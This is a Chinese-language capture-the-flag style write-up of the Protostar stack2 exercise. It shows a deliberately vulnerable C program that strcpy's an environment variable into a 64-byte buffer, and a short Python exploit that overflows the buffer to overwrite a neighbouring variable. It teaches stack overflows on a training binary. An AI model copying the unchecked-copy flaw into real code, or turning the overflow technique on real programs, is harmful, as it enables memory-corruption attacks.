Protostar——stack2

简介

  这次练习通过环境变量设置buffer的值,所以我们需要在exploit中设置一个大于64字节的环境变量。

源码

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 #include <string.h>
 5 
 6 int main(int argc, char **argv)
 7 {
 8   volatile int modified;
 9   char buffer[64];
10   char *variable;
11 
12   variable = getenv("GREENIE");
13 
14   if(variable == NULL) {
15       errx(1, "please set the GREENIE environment variable\n");
16   }
17 
18   modified = 0;
19 
20   strcpy(buffer, variable);
21 
22   if(modified == 0x0d0a0d0a) {
23       printf("you have correctly modified the variable\n");
24   } else {
25       printf("Try again, you got 0x%08x\n", modified);
26   }
27 
28 }

分析

  从代码中可以看到,程序首先通过getenv获得环境变量GREENIE的值并赋给variable变量,再通过strcpy函数将variable的值传递给buffer,同样没有做长度检测,可能发生栈溢出,最后判断modified的值是否为0x0d0a0d0a。
  其实这个练习在payload上和stack1并没有什么变化,只要把最后修改为0x0a0d0a0d就可以。
  主要的问题是如何在python中设置环境变量为非打印字符。

EXPLOIT编写

  使用os模块中的environ可以设置环境变量,但是不能直接设置为0x0a0d0a0d,环境变量设置的值要求是字符串,但是0x0a和0x0d又不是打印字符。所以使用decode函数,把十六进制转换为字符。代码如下:

1 import os
2 payload = "616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161610a0d0a0d"
3 os.environ["GREENIE"] = payload.decode("hex")
4 cmd = "/opt/protostar/bin/stack2"
5 os.system(cmd)

执行结果:

$ python exploit2.py
you have correctly modified the variable

猜你喜欢

转载自www.cnblogs.com/white-noise/p/8973720.html